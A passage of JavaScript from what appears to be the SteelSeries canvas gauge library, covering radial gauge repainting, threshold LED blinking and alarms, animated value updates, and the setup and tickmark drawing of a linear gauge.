buffers = buffers || {}; var resetFrame = (undefined === buffers.frame ? false : buffers.frame); var resetBackground = (undefined === buffers.background ? false : buffers.background); var resetLed = (undefined === buffers.led ? false : buffers.led); var resetPointer = (undefined === buffers.pointer ? false : buffers.pointer); var resetForeground = (undefined === buffers.foreground ? false : buffers.foreground); if (resetFrame) { frameBuffer.width = size; frameBuffer.height = size; frameContext = frameBuffer.getContext('2d'); } if (resetBackground) { backgroundBuffer.width = size; backgroundBuffer.height = size; backgroundContext = backgroundBuffer.getContext('2d'); } if (resetLed) { ledBufferOn.width = Math.ceil(size * 0.093457); ledBufferOn.height = Math.ceil(size * 0.093457); ledContextOn = ledBufferOn.getContext('2d'); ledBufferOff.width = Math.ceil(size * 0.093457); ledBufferOff.height = Math.ceil(size * 0.093457); ledContextOff = ledBufferOff.getContext('2d'); // Buffer for current led painting code ledBuffer = ledBufferOff; } if (resetPointer) { pointerBuffer.width = size; pointerBuffer.height = size; pointerContext = pointerBuffer.getContext('2d'); } if (resetForeground) { foregroundBuffer.width = size; foregroundBuffer.height = size; foregroundContext = foregroundBuffer.getContext('2d'); } }; var blink = function (blinking) { if (blinking) { ledTimerId = setInterval(toggleAndRepaintLed, 1000); } else { clearInterval(ledTimerId); ledBuffer = ledBufferOff; } }; var toggleAndRepaintLed = function () { if (ledVisible) { if (ledBuffer === ledBufferOn) { ledBuffer = ledBufferOff; } else { ledBuffer = ledBufferOn; } if (!repainting) { repainting = true; requestAnimFrame(self.repaint); } } }; //************************************ Public methods ************************************** this.setValue = function (newValue) { newValue = parseFloat(newValue); var targetValue = (newValue < minValue ? minValue : (newValue > maxValue ? maxValue : newValue)); if (value !== targetValue) { value = targetValue; if (value > maxMeasuredValue) { maxMeasuredValue = value; } if (value < minMeasuredValue) { minMeasuredValue = value; } if ((value >= threshold && !ledBlinking && thresholdRising) || (value <= threshold && !ledBlinking && !thresholdRising)) { ledBlinking = true; blink(ledBlinking); if (playAlarm) { audioElement.play(); } } else if ((value < threshold && ledBlinking && thresholdRising) || (value > threshold && ledBlinking && !thresholdRising)) { ledBlinking = false; blink(ledBlinking); if (playAlarm) { audioElement.pause(); } } this.repaint(); } return this; }; this.getValue = function () { return value; }; this.setValueAnimated = function (newValue, callback) { newValue = parseFloat(newValue); var targetValue = (newValue < minValue ? minValue : (newValue > maxValue ? maxValue : newValue)), gauge = this, time; if (value !== targetValue) { if (undefined !== tween && tween.isPlaying) { tween.stop(); } time = fullScaleDeflectionTime * Math.abs(targetValue - value) / (maxValue - minValue); time = Math.max(time, fullScaleDeflectionTime / 5); tween = new Tween({}, '', Tween.regularEaseInOut, value, targetValue, time); //tween = new Tween({}, '', Tween.regularEaseInOut, value, targetValue, 1); //tween = new Tween(new Object(), '', Tween.strongEaseInOut, value, targetValue, 1); tween.onMotionChanged = function (event) { value = event.target._pos; if ((value >= threshold && !ledBlinking && thresholdRising) || (value <= threshold && !ledBlinking && !thresholdRising)) { ledBlinking = true; blink(ledBlinking); if (playAlarm) { audioElement.play(); } } else if ((value < threshold && ledBlinking && thresholdRising) || (value > threshold && ledBlinking && !thresholdRising)) { ledBlinking = false; blink(ledBlinking); if (playAlarm) { audioElement.pause(); } } if (value > maxMeasuredValue) { maxMeasuredValue = value; } if (value < minMeasuredValue) { minMeasuredValue = value; } if (!repainting) { repainting = true; requestAnimFrame(gauge.repaint); } }; // do we have a callback function to process? if (callback && typeof(callback) === "function") { tween.onMotionFinished = callback; } tween.start(); } return this; }; this.resetMinMeasuredValue = function () { minMeasuredValue = value; this.repaint(); return this; }; this.resetMaxMeasuredValue = function () { maxMeasuredValue = value; this.repaint(); return this; }; this.setMinMeasuredValueVisible = function (visible) { minMeasuredValueVisible = !!visible; this.repaint(); return this; }; this.setMaxMeasuredValueVisible = function (visible) { maxMeasuredValueVisible = !!visible; this.repaint(); return this; }; this.setThresholdVisible = function (visible) { thresholdVisible = !!visible; this.repaint(); return this; }; this.setThresholdRising = function (rising) { thresholdRising = !!rising; // reset existing threshold alerts ledBlinking = !ledBlinking; blink(ledBlinking); this.repaint(); return this; }; this.setFrameDesign = function (newFrameDesign) { resetBuffers({frame: true}); frameDesign = newFrameDesign; init({frame: true}); this.repaint(); return this; }; this.setBackgroundColor = function (newBackgroundColor) { resetBuffers({background: true, pointer: (pointerType.type === 'type2' || pointerType.type === 'type13' ? true : false) // type2 & 13 depend on background }); backgroundColor = newBackgroundColor; init({background: true, pointer: (pointerType.type === 'type2' || pointerType.type === 'type13' ? true : false) // type2 & 13 depend on background }); this.repaint(); return this; }; this.setForegroundType = function (newForegroundType) { resetBuffers({foreground: true}); foregroundType = newForegroundType; init({foreground: true}); this.repaint(); return this; }; this.setPointerType = function (newPointerType) { resetBuffers({pointer: true, foreground: true // Required as type15 does not need a knob }); pointerType = newPointerType; init({pointer: true, foreground: true }); this.repaint(); return this; }; this.setPointerColor = function (newPointerColor) { resetBuffers({pointer: true}); pointerColor = newPointerColor; init({pointer: true}); this.repaint(); return this; }; this.setLedColor = function (newLedColor) { resetBuffers({led: true}); ledColor = newLedColor; init({led: true}); this.repaint(); return this; }; this.setLedVisible = function (visible) { ledVisible = !!visible; this.repaint(); return this; }; this.repaint = function () { if (!initialized) { init({frame: true, background: true, led: true, pointer: true, foreground: true}); } mainCtx.clearRect(0, 0, size, size); mainCtx.save(); // Draw frame if (frameVisible) { mainCtx.drawImage(frameBuffer, 0, 0); } // Draw buffered image to visible canvas mainCtx.drawImage(backgroundBuffer, 0, 0); // Draw led if (ledVisible) { mainCtx.drawImage(ledBuffer, ledPosX, ledPosY); } if (steelseries.Orientation.WEST === orientation) { mainCtx.translate(centerX, centerX); mainCtx.rotate(-HALF_PI); mainCtx.translate(-centerX, -centerX); } if (steelseries.Orientation.EAST === orientation) { mainCtx.translate(centerX, centerX); mainCtx.rotate(HALF_PI); mainCtx.translate(-centerX, -centerX); } // Draw min measured value indicator if (minMeasuredValueVisible) { mainCtx.save(); mainCtx.translate(centerX, centerY); mainCtx.rotate(rotationOffset + HALF_PI + (minMeasuredValue - minValue) * angleStep); mainCtx.translate(-centerX, -centerY); mainCtx.drawImage(minMeasuredValueBuffer, mainCtx.canvas.width * 0.4865, mainCtx.canvas.height * 0.27); mainCtx.restore(); } // Draw max measured value indicator if (maxMeasuredValueVisible) { mainCtx.save(); mainCtx.translate(centerX, centerY); mainCtx.rotate(rotationOffset + HALF_PI + (maxMeasuredValue - minValue) * angleStep); mainCtx.translate(-centerX, -centerY); mainCtx.drawImage(maxMeasuredValueBuffer, mainCtx.canvas.width * 0.4865, mainCtx.canvas.height * 0.27); mainCtx.restore(); } angle = rotationOffset + HALF_PI + (value - minValue) * angleStep; // Define rotation center mainCtx.save(); mainCtx.translate(centerX, centerY); mainCtx.rotate(angle); // Set the pointer shadow params mainCtx.shadowColor = 'rgba(0, 0, 0, 0.8)'; mainCtx.shadowOffsetX = mainCtx.shadowOffsetY = shadowOffset; mainCtx.shadowBlur = shadowOffset * 2; // Draw pointer mainCtx.translate(-pointerOffset, -pointerOffset); mainCtx.drawImage(pointerBuffer, 0, 0); // Undo the translations & shadow settings mainCtx.restore(); // Draw foreground if (foregroundVisible) { if (steelseries.Orientation.WEST === orientation) { mainCtx.translate(centerX, centerX); mainCtx.rotate(HALF_PI); mainCtx.translate(-centerX, -centerX); } else if (steelseries.Orientation.EAST === orientation) { mainCtx.translate(centerX, centerX); mainCtx.rotate(-HALF_PI); mainCtx.translate(-centerX, -centerX); } mainCtx.drawImage(foregroundBuffer, 0, 0); } mainCtx.restore(); repainting = false; }; // Visualize the component this.repaint(); return this; }; var linear = function (canvas, parameters) { parameters = parameters || {}; var gaugeType = (undefined === parameters.gaugeType ? steelseries.GaugeType.TYPE1 : parameters.gaugeType), width = (undefined === parameters.width ? 0 : parameters.width), height = (undefined === parameters.height ? 0 : parameters.height), minValue = (undefined === parameters.minValue ? 0 : parameters.minValue), maxValue = (undefined === parameters.maxValue ? (minValue + 100) : parameters.maxValue), niceScale = (undefined === parameters.niceScale ? true : parameters.niceScale), threshold = (undefined === parameters.threshold ? (maxValue - minValue) / 2 + minValue: parameters.threshold), titleString = (undefined === parameters.titleString ? '' : parameters.titleString), unitString = (undefined === parameters.unitString ? '' : parameters.unitString), frameDesign = (undefined === parameters.frameDesign ? steelseries.FrameDesign.METAL : parameters.frameDesign), frameVisible = (undefined === parameters.frameVisible ? true : parameters.frameVisible), backgroundColor = (undefined === parameters.backgroundColor ? steelseries.BackgroundColor.DARK_GRAY : parameters.backgroundColor), backgroundVisible = (undefined === parameters.backgroundVisible ? true : parameters.backgroundVisible), valueColor = (undefined === parameters.valueColor ? steelseries.ColorDef.RED : parameters.valueColor), lcdColor = (undefined === parameters.lcdColor ? steelseries.LcdColor.STANDARD : parameters.lcdColor), lcdVisible = (undefined === parameters.lcdVisible ? true : parameters.lcdVisible), lcdDecimals = (undefined === parameters.lcdDecimals ? 2 : parameters.lcdDecimals), digitalFont = (undefined === parameters.digitalFont ? false : parameters.digitalFont), ledColor = (undefined === parameters.ledColor ? steelseries.LedColor.RED_LED : parameters.ledColor), ledVisible = (undefined === parameters.ledVisible ? true : parameters.ledVisible), thresholdVisible = (undefined === parameters.thresholdVisible ? true : parameters.thresholdVisible), thresholdRising = (undefined === parameters.thresholdRising ? true : parameters.thresholdRising), minMeasuredValueVisible = (undefined === parameters.minMeasuredValueVisible ? false : parameters.minMeasuredValueVisible), maxMeasuredValueVisible = (undefined === parameters.maxMeasuredValueVisible ? false : parameters.maxMeasuredValueVisible), labelNumberFormat = (undefined === parameters.labelNumberFormat ? steelseries.LabelNumberFormat.STANDARD : parameters.labelNumberFormat), foregroundVisible = (undefined === parameters.foregroundVisible ? true : parameters.foregroundVisible), playAlarm = (undefined === parameters.playAlarm ? false : parameters.playAlarm), alarmSound = (undefined === parameters.alarmSound ? false : parameters.alarmSound), fullScaleDeflectionTime = (undefined === parameters.fullScaleDeflectionTime ? 2.5 : parameters.fullScaleDeflectionTime); // Get the canvas context and clear it var mainCtx = getCanvasContext(canvas); // Has a size been specified? if (width === 0) { width = mainCtx.canvas.width; } if (height === 0) { height = mainCtx.canvas.height; } // Set the size - also clears the canvas mainCtx.canvas.width = width; mainCtx.canvas.height = height; var imageWidth = width; var imageHeight = height; // Create audio tag for alarm sound if (playAlarm && alarmSound !== false) { var audioElement = doc.createElement('audio'); audioElement.setAttribute('src', alarmSound); //audioElement.setAttribute('src', 'js/alarm.mp3'); audioElement.setAttribute('preload', 'auto'); } var self = this; var value = minValue; // Properties var minMeasuredValue = maxValue; var maxMeasuredValue = minValue; // Check gaugeType is 1 or 2 if (gaugeType.type !== 'type1' && gaugeType.type !== 'type2') { gaugeType = steelseries.GaugeType.TYPE1; } var tween; var ledBlinking = false; var repainting = false; var ledTimerId = 0; var vertical = width <= height; // Constants var ledPosX; var ledPosY; var ledSize = Math.round((vertical ? height : width) * 0.05); var minMaxIndSize = Math.round((vertical ? width : height) * 0.05); var stdFont; var lcdFont; // Misc if (vertical) { ledPosX = imageWidth / 2 - ledSize / 2; ledPosY = (gaugeType.type === 'type1' ? 0.053 : 0.038) * imageHeight; stdFont = Math.floor(imageHeight / 22) + 'px ' + stdFontName; lcdFont = Math.floor(imageHeight / 22) + 'px ' + lcdFontName; } else { ledPosX = 0.89 * imageWidth; ledPosY = imageHeight / 2 - ledSize / 2; stdFont = Math.floor(imageHeight / 10) + 'px ' + stdFontName; lcdFont = Math.floor(imageHeight / 10) + 'px ' + lcdFontName; } var initialized = false; // Tickmark specific private variables var niceMinValue = minValue; var niceMaxValue = maxValue; var niceRange = maxValue - minValue; var range = niceMaxValue - niceMinValue; var minorTickSpacing = 0; var majorTickSpacing = 0; var maxNoOfMinorTicks = 10; var maxNoOfMajorTicks = 10; // Method to calculate nice values for min, max and range for the tickmarks var calculate = function calculate() { if (niceScale) { niceRange = calcNiceNumber(maxValue - minValue, false); majorTickSpacing = calcNiceNumber(niceRange / (maxNoOfMajorTicks - 1), true); niceMinValue = Math.floor(minValue / majorTickSpacing) * majorTickSpacing; niceMaxValue = Math.ceil(maxValue / majorTickSpacing) * majorTickSpacing; minorTickSpacing = calcNiceNumber(majorTickSpacing / (maxNoOfMinorTicks - 1), true); minValue = niceMinValue; maxValue = niceMaxValue; range = maxValue - minValue; } else { niceRange = (maxValue - minValue); niceMinValue = minValue; niceMaxValue = maxValue; range = niceRange; minorTickSpacing = 1; majorTickSpacing = 10; } }; // ************** Buffer creation ******************** // Buffer for the frame var frameBuffer = createBuffer(width, height); var frameContext = frameBuffer.getContext('2d'); // Buffer for the background var backgroundBuffer = createBuffer(width, height); var backgroundContext = backgroundBuffer.getContext('2d'); var lcdBuffer; // Buffer for led on painting code var ledBufferOn = createBuffer(ledSize, ledSize); var ledContextOn = ledBufferOn.getContext('2d'); // Buffer for led off painting code var ledBufferOff = createBuffer(ledSize, ledSize); var ledContextOff = ledBufferOff.getContext('2d'); // Buffer for current led painting code var ledBuffer = ledBufferOff; // Buffer for the minMeasuredValue indicator var minMeasuredValueBuffer = createBuffer(minMaxIndSize, minMaxIndSize); var minMeasuredValueCtx = minMeasuredValueBuffer.getContext('2d'); // Buffer for the maxMeasuredValue indicator var maxMeasuredValueBuffer = createBuffer(minMaxIndSize, minMaxIndSize); var maxMeasuredValueCtx = maxMeasuredValueBuffer.getContext('2d'); // Buffer for static foreground painting code var foregroundBuffer = createBuffer(width, height); var foregroundContext = foregroundBuffer.getContext('2d'); // ************** Image creation ******************** var drawLcdText = function (ctx, value, vertical) { ctx.save(); ctx.textAlign = 'right'; ctx.textBaseline = 'middle'; ctx.strokeStyle = lcdColor.textColor; ctx.fillStyle = lcdColor.textColor; if (lcdColor === steelseries.LcdColor.STANDARD || lcdColor === steelseries.LcdColor.STANDARD_GREEN) { ctx.shadowColor = 'gray'; if (vertical) { ctx.shadowOffsetX = imageHeight * 0.003; ctx.shadowOffsetY = imageHeight * 0.003; ctx.shadowBlur = imageHeight * 0.004; } else { ctx.shadowOffsetX = imageHeight * 0.007; ctx.shadowOffsetY = imageHeight * 0.007; ctx.shadowBlur = imageHeight * 0.009; } } var lcdTextX; var lcdTextY; var lcdTextWidth; if (digitalFont) { ctx.font = lcdFont; } else { ctx.font = stdFont; } if (vertical) { lcdTextX = (imageWidth - (imageWidth * 0.571428)) / 2 + imageWidth * 0.571428 - 2; lcdTextY = imageHeight * 0.88 + 1 + (imageHeight * 0.055 - 2) / 2; lcdTextWidth = imageWidth * 0.7 - 2; } else { lcdTextX = (imageWidth * 0.695) + imageWidth * 0.18 - 2; lcdTextY = (imageHeight * 0.22) + 1 + (imageHeight * 0.15 - 2) / 2; lcdTextWidth = imageHeight * 0.22 - 2; } ctx.fillText(value.toFixed(lcdDecimals), lcdTextX, lcdTextY, lcdTextWidth); ctx.restore(); }; var createThresholdImage = function (vertical) { var thresholdBuffer = doc.createElement('canvas'); var thresholdCtx = thresholdBuffer.getContext('2d'); thresholdBuffer.height = thresholdBuffer.width = minMaxIndSize; thresholdCtx.save(); var gradThreshold = thresholdCtx.createLinearGradient(0, 0.1, 0, thresholdBuffer.height * 0.9); gradThreshold.addColorStop(0, '#520000'); gradThreshold.addColorStop(0.3, '#fc1d00'); gradThreshold.addColorStop(0.59, '#fc1d00'); gradThreshold.addColorStop(1, '#520000'); thresholdCtx.fillStyle = gradThreshold; if (vertical) { thresholdCtx.beginPath(); thresholdCtx.moveTo(0.1, thresholdBuffer.height * 0.5); thresholdCtx.lineTo(thresholdBuffer.width * 0.9, 0.1); thresholdCtx.lineTo(thresholdBuffer.width * 0.9, thresholdBuffer.height * 0.9); thresholdCtx.closePath(); } else { thresholdCtx.beginPath(); thresholdCtx.moveTo(0.1, 0.1); thresholdCtx.lineTo(thresholdBuffer.width * 0.9, 0.1); thresholdCtx.lineTo(thresholdBuffer.width * 0.5, thresholdBuffer.height * 0.9); thresholdCtx.closePath(); } thresholdCtx.fill(); thresholdCtx.strokeStyle = '#FFFFFF'; thresholdCtx.stroke(); thresholdCtx.restore(); return thresholdBuffer; }; var drawTickmarksImage = function (ctx, labelNumberFormat, vertical) { backgroundColor.labelColor.setAlpha(1); ctx.save(); ctx.textBaseline = 'middle'; var TEXT_WIDTH = imageWidth * 0.1; ctx.strokeStyle = backgroundColor.labelColor.getRgbaColor(); ctx.fillStyle = backgroundColor.labelColor.getRgbaColor(); var valueCounter = minValue; var majorTickCounter = maxNoOfMinorTicks - 1; var tickCounter; var currentPos; var scaleBoundsX; var scaleBoundsY; var scaleBoundsW; var scaleBoundsH; var tickSpaceScaling = 1; var minorTickStart; var minorTickStop; var mediumTickStart; var mediumTickStop; var majorTickStart; var majorTickStop; if (vertical) { minorTickStart = (0.34 * imageWidth); minorTickStop = (0.36 * imageWidth); mediumTickStart = (0.33 * imageWidth); mediumTickStop = (0.36 * imageWidth); majorTickStart = (0.32 * imageWidth); majorTickStop = (0.36 * imageWidth); ctx.textAlign = 'right'; scaleBoundsX = 0; scaleBoundsY = imageHeight * 0.128640; scaleBoundsW = 0; if (gaugeType.type === 'type1') { scaleBoundsH = (imageHeight * 0.856796 - imageHeight * 0.128640); } else { scaleBoundsH = (imageHeight * 0.7475 - imageHeight * 0.128640); } tickSpaceScaling = scaleBoundsH / (maxValue - minValue); } else { minorTickStart = (0.65 * imageHeight); minorTickStop = (0.63 * imageHeight); mediumTickStart = (0.66 * imageHeight); mediumTickStop = (0.63 * imageHeight); majorTickStart = (0.67 * imageHeight); majorTickStop = (0.63 * imageHeight); ctx.textAlign = 'center'; scaleBoundsY = 0; if (gaugeType.type === 'type1') { scaleBoundsX = imageWidth * 0.142857; scaleBoundsW = (imageWidth * 0.871012 - scaleBoundsX); } else { scaleBoundsX = imageWidth * 0.19857; scaleBoundsW = (imageWidth * 0.82 - scaleBoundsX); } scaleBoundsH = 0; tickSpaceScaling = scaleBoundsW / (maxValue - minValue); } var labelCounter; for (labelCounter = minValue, tickCounter = 0; labelCounter <= maxValue; labelCounter += minorTickSpacing, tickCounter += minorTickSpacing) { // Calculate the bounds of the scaling if (vertical) { currentPos = scaleBoundsY + scaleBoundsH - tickCounter * tickSpaceScaling; } else { currentPos = scaleBoundsX + tickCounter * tickSpaceScaling; } majorTickCounter++; // Draw tickmark every major tickmark spacing if (majorTickCounter === maxNoOfMinorTicks) { // Draw the major tickmarks ctx.lineWidth = 1.5; drawLinearTicks(ctx, majorTickStart, majorTickStop, currentPos, vertical); // Draw the standard tickmark labels if (vertical) { // Vertical orientation switch (labelNumberFormat.format) { case 'fractional': ctx.fillText((valueCounter.toFixed(2)), imageWidth * 0.28, currentPos, TEXT_WIDTH); break; case 'scientific': ctx.fillText((valueCounter.toPrecision(2)), imageWidth * 0.28, currentPos, TEXT_WIDTH); break; case 'standard': /* falls through */ default: ctx.fillText((valueCounter.toFixed(0)), imageWidth * 0.28, currentPos, TEXT_WIDTH); break; } } else { // Horizontal orientation switch (labelNumberFormat.format) { case 'fractional': ctx.fillText((valueCounter.toFixed(2)), currentPos, (imageHeight * 0.73), TEXT_WIDTH); break; case 'scientific': ctx.fillText((valueCounter.toPrecision(2)), currentPos, (imageHeight * 0.73), TEXT_WIDTH); break; case 'standard': /* falls through */ default: ctx.fillText((valueCounter.toFixed(0)), currentPos, (imageHeight * 0.73), TEXT_WIDTH); break; } } valueCounter += majorTickSpacing; majorTickCounter = 0; continue; } // Draw tickmark every minor tickmark spacing if (0 === maxNoOfMinorTicks % 2 && majorTickCounter === (maxNoOfMinorTicks / 2)) { ctx.lineWidth = 1; drawLinearTicks(ctx, mediumTickStart, mediumTickStop, currentPos, vertical); } else { ctx.lineWidth = 0.5; drawLinearTicks(ctx, minorTickStart, minorTickStop, currentPos, vertical); } } ctx.restore(); }; var drawLinearTicks = function (ctx, tickStart, tickStop, currentPos, vertical) { if (vertical) { // Vertical orientation ctx.beginPath(); ctx.moveTo(tickStart, currentPos); ctx.lineTo(tickStop, currentPos); ctx.closePath(); ctx.stroke(); } else { // Horizontal orientation ctx.beginPath(); ctx.moveTo(currentPos, tickStart); ctx.lineTo(currentPos, tickStop); ctx.closePath(); ctx.stroke(); } }; // ************** Initialization ******************** var init = function (parameters) { parameters = parameters || {}; var drawFrame = (undefined === parameters.frame ? false : parameters.frame); var drawBackground = (undefined === parameters.background ? false : parameters.background); var drawLed = (undefined === parameters.led ? false : parameters.led); var drawForeground = (undefined === parameters.foreground ? false : parameters.foreground); var yOffset; var yRange; var valuePos; initialized = true; // Calculate the current min and max values and the range calculate(); // Create frame in frame buffer (backgroundBuffer) if (drawFrame && frameVisible) { drawLinearFrameImage(frameContext, frameDesign, imageWidth, imageHeight, vertical); } // Create background in background buffer (backgroundBuffer) if (drawBackground && backgroundVisible) { drawLinearBackgroundImage(backgroundContext, backgroundColor, imageWidth, imageHeight, vertical); } // draw Thermometer outline if (drawBackground && gaugeType.type === 'type2') { drawBackgroundImage(backgroundContext); } if (drawLed) { if (vertical) { // Draw LED ON in ledBuffer_ON ledContextOn.drawImage(createLedImage(ledSize, 1, ledColor), 0, 0); // Draw LED ON in ledBuffer_OFF ledContextOff.drawImage(createLedImage(ledSize, 0, ledColor), 0, 0); } else { // Draw LED ON in ledBuffer_ON ledContextOn.drawImage(createLedImage(ledSize, 1, ledColor), 0, 0); // Draw LED ON in ledBuffer_OFF ledContextOff.drawImage(createLedImage(ledSize, 0, ledColor), 0, 0); } } // Draw min measured value indicator in minMeasuredValueBuffer if (minMeasuredValueVisible) { if (vertical) { minMeasuredValueCtx.drawImage(createMeasuredValueImage(minMaxIndSize, steelseries.ColorDef.BLUE.dark.getRgbaColor(), false, vertical), 0, 0); } else { minMeasuredValueCtx.drawImage(createMeasuredValueImage(minMaxIndSize, steelseries.ColorDef.BLUE.dark.getRgbaColor(), false, vertical), 0, 0); } } // Draw max measured value indicator in maxMeasuredValueBuffer if (maxMeasuredValueVisible) { if (vertical) { maxMeasuredValueCtx.drawImage(createMeasuredValueImage(minMaxIndSize, steelseries.ColorDef.RED.medium.getRgbaColor(), false, vertical), 0, 0); } else { maxMeasuredValueCtx.drawImage(createMeasuredValueImage(minMaxIndSize, steelseries.ColorDef.RED.medium.getRgbaColor(), false, vertical), 0, 0); } } // Create alignment posts in background buffer (backgroundBuffer) if (drawBackground && backgroundVisible) { // Create tickmarks in background buffer (backgroundBuffer) drawTickmarksImage(backgroundContext, labelNumberFormat, vertical); // Create title in background buffer (backgroundBuffer) if (vertical) { drawTitleImage(backgroundContext, imageWidth, imageHeight, titleString, unitString, backgroundColor, vertical, null, lcdVisible, gaugeType); } else { drawTitleImage(backgroundContext, imageWidth, imageHeight, titleString, unitString, backgroundColor, vertical, null, lcdVisible, gaugeType); } } // Draw threshold image to background context if (drawBackground && thresholdVisible) { backgroundContext.save(); if (vertical) { // Vertical orientation yOffset = (gaugeType.type === 'type1' ? 0.856796 : 0.7475); yRange = yOffset - 0.128640; valuePos = imageHeight * yOffset - (imageHeight * yRange) * (threshold - minValue) / (maxValue - minValue); backgroundContext.translate(imageWidth * 0.365, valuePos - minMaxIndSize / 2); } else { // Horizontal orientation yOffset = (gaugeType.type === 'type1' ? 0.871012 : 0.82); yRange = yOffset - (gaugeType.type === 'type1' ? 0.142857 : 0.19857); valuePos = imageWidth * yRange * (threshold - minValue) / (maxValue - minValue); backgroundContext.translate(imageWidth * (gaugeType.type === 'type1' ? 0.142857 : 0.19857) - minMaxIndSize / 2 + valuePos, imageHeight * 0.58); } backgroundContext.drawImage(createThresholdImage(vertical), 0, 0); backgroundContext.restore(); } // Create lcd background if selected in background buffer (backgroundBuffer) if (drawBackground && lcdVisible) { if (vertical) { lcdBuffer = createLcdBackgroundImage(imageWidth * 0.571428, imageHeight * 0.055, lcdColor); backgroundContext.drawImage(lcdBuffer, ((imageWidth - (imageWidth * 0.571428)) / 2), imageHeight * 0.88); } else { lcdBuffer = createLcdBackgroundImage(imageWidth * 0.18, imageHeight * 0.15, lcdColor); backgroundContext.drawImage(lcdBuffer, imageWidth * 0.695, imageHeight * 0.22); } } // add thermometer stem foreground if (drawForeground && gaugeType.type === 'type2') { drawForegroundImage(foregroundContext); } // Create foreground in foreground buffer (foregroundBuffer) if (drawForeground && foregroundVisible) { drawLinearForegroundImage(foregroundContext, imageWidth, imageHeight, vertical, false); } }; var resetBuffers = function (buffers) { buffers = buffers || {}; var resetFrame = (undefined === buffers.frame ? false : buffers.frame); var resetBackground = (undefined === buffers.background ? false : buffers.background); var resetLed = (undefined === buffers.led ? false : buffers.led); var resetForeground = (undefined === buffers.foreground ? false : buffers.foreground); if (resetFrame) { frameBuffer.width = width; frameBuffer.height = height; frameContext = frameBuffer.getContext('2d'); } if (resetBackground) { backgroundBuffer.width = width; backgroundBuffer.height = height; backgroundContext = backgroundBuffer.getContext('2d'); } if (resetLed) { ledBufferOn.width = Math.ceil(width * 0.093457); ledBufferOn.height = Math.ceil(height * 0.093457); ledContextOn = ledBufferOn.getContext('2d'); ledBufferOff.width = Math.ceil(width * 0.093457); ledBufferOff.height = Math.ceil(height * 0.093457); ledContextOff = ledBufferOff.getContext('2d'); // Buffer for current led painting code ledBuffer = ledBufferOff; } if (resetForeground) { foregroundBuffer.width = width; foregroundBuffer.height = height; foregroundContext = foregroundBuffer.getContext('2d'); } }; var blink = function (blinking) { if (blinking) { ledTimerId = setInterval(toggleAndRepaintLed, 1000); } else { clearInterval(ledTimerId); ledBuffer = ledBufferOff; } }; var toggleAndRepaintLed = function () { if (ledVisible) { if (ledBuffer === ledBufferOn) { ledBuffer = ledBufferOff; } else { ledBuffer = ledBufferOn; } if (!repainting) { repainting = true; requestAnimFrame(self.repaint); } } }; var drawValue = function (ctx, imageWidth, imageHeight) { var top; // position of max value var bottom; // position of min value var labelColor = backgroundColor.labelColor; var fullSize; var valueSize, valueTop; var valueStartX, valueStartY, valueStopX, valueStopY; var valueBackgroundStartX, valueBackgroundStartY, valueBackgroundStopX, valueBackgroundStopY; var valueBorderStartX, valueBorderStartY, valueBorderStopX, valueBorderStopY; var valueForegroundStartX, valueForegroundStartY, valueForegroundStopX, valueForegroundStopY; // Orientation dependend definitions if (vertical) { // Vertical orientation top = imageHeight * 0.128640; // position of max value if (gaugeType.type === 'type1') { bottom = imageHeight * 0.856796; // position of min value } else { bottom = imageHeight * 0.7475; } fullSize = bottom - top; valueSize = fullSize * (value - minValue) / (maxValue - minValue); valueTop = bottom - valueSize; valueBackgroundStartX = 0; valueBackgroundStartY = top; valueBackgroundStopX = 0; valueBackgroundStopY = bottom; } else { // Horizontal orientation if (gaugeType.type === 'type1') { top = imageWidth * 0.871012; // position of max value bottom = imageWidth * 0.142857; // position of min value } else { top = imageWidth * 0.82; // position of max value bottom = imageWidth * 0.19857; // position of min value } fullSize = top - bottom; valueSize = fullSize * (value - minValue) / (maxValue - minValue); valueTop = bottom; valueBackgroundStartX = top; valueBackgroundStartY = 0; valueBackgroundStopX = bottom; valueBackgroundStopY = 0; } if (gaugeType.type === 'type1') { var darker = (backgroundColor === steelseries.BackgroundColor.CARBON || backgroundColor === steelseries.BackgroundColor.PUNCHED_SHEET || backgroundColor === steelseries.BackgroundColor.STAINLESS || backgroundColor === steelseries.BackgroundColor.BRUSHED_STAINLESS || backgroundColor === steelseries.BackgroundColor.TURNED) ? 0.3 : 0; var valueBackgroundTrackGradient = ctx.createLinearGradient(valueBackgroundStartX, valueBackgroundStartY, valueBackgroundStopX, valueBackgroundStopY); labelColor.setAlpha(0.05 + darker); valueBackgroundTrackGradient.addColorStop(0, labelColor.getRgbaColor()); labelColor.setAlpha(0.15 + darker); valueBackgroundTrackGradient.addColorStop(0.48, labelColor.getRgbaColor()); labelColor.setAlpha(0.15 + darker); valueBackgroundTrackGradient.addColorStop(0.49, labelColor.getRgbaColor()); labelColor.setAlpha(0.05 + darker); valueBackgroundTrackGradient.addColorStop(1, labelColor.getRgbaColor()); ctx.fillStyle = valueBackgroundTrackGradient; if (vertical) { ctx.fillRect(imageWidth * 0.435714, top, imageWidth * 0.142857, fullSize); } else { ctx.fillRect(imageWidth * 0.142857, imageHeight * 0.435714, fullSize, imageHeight * 0.142857); } if (vertical) { // Vertical orientation valueBorderStartX = 0; valueBorderStartY = top; valueBorderStopX = 0; valueBorderStopY = top + fullSize; } else { // Horizontal orientation valueBorderStartX = imageWidth * 0.142857 + fullSize; valueBorderStartY = 0; valueBorderStopX = imageWidth * 0.142857; valueBorderStopY = 0; } var valueBorderGradient = ctx.createLinearGradient(valueBorderStartX, valueBorderStartY, valueBorderStopX, valueBorderStopY); labelColor.setAlpha(0.3 + darker); valueBorderGradient.addColorStop(0, labelColor.getRgbaColor()); labelColor.setAlpha(0.69); valueBorderGradient.addColorStop(0.48, labelColor.getRgbaColor()); labelColor.setAlpha(0.7); valueBorderGradient.addColorStop(0.49, labelColor.getRgbaColor()); labelColor.setAlpha(0.4); valueBorderGradient.addColorStop(1, labelColor.getRgbaColor()); ctx.fillStyle = valueBorderGradient; if (vertical) { ctx.fillRect(imageWidth * 0.435714, top, imageWidth * 0.007142, fullSize); ctx.fillRect(imageWidth * 0.571428, top, imageWidth * 0.007142, fullSize); } else { ctx.fillRect(imageWidth * 0.142857, imageHeight * 0.435714, fullSize, imageHeight * 0.007142); ctx.fillRect(imageWidth * 0.142857, imageHeight * 0.571428, fullSize, imageHeight * 0.007142); } } if (vertical) { // Vertical orientation if (gaugeType.type === 'type1') { valueStartX = imageWidth * 0.45; valueStartY = 0; valueStopX = imageWidth * 0.45 + imageWidth * 0.114285; valueStopY = 0; } else { valueStartX = imageWidth / 2 - imageHeight * 0.0486 / 2; valueStartY = 0; valueStopX = valueStartX + imageHeight * 0.053; valueStopY = 0; } } else { // Horizontal orientation if (gaugeType.type === 'type1') { valueStartX = 